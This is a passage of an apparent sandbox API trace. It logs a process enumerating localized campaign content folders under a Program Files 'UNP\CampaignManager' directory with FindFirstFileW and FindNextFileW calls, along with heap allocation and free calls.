	[0155.151] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.151] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.151] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.151] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.152] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0155.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.152] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV") returned 100
	[0155.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.155] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.155] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa07c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.155] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.155] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.155] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.155] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.155] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.156] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1
	[0155.156] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms-MY", cAlternateFileName="")) returned 1
	[0155.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.156] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY") returned 100
	[0155.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0155.941] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.941] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.941] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.942] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.942] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.942] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.942] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0155.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.943] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0155.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.943] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO") returned 100
	[0155.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.946] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.946] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.946] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.946] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.947] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.947] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.947] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0155.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.947] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1
	[0155.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.948] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE") returned 100
	[0155.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0156.076] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.076] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.076] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.076] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.076] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.076] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.076] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0156.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0156.077] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0156.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0156.077] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL") returned 100
	[0156.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0156.079] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.079] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
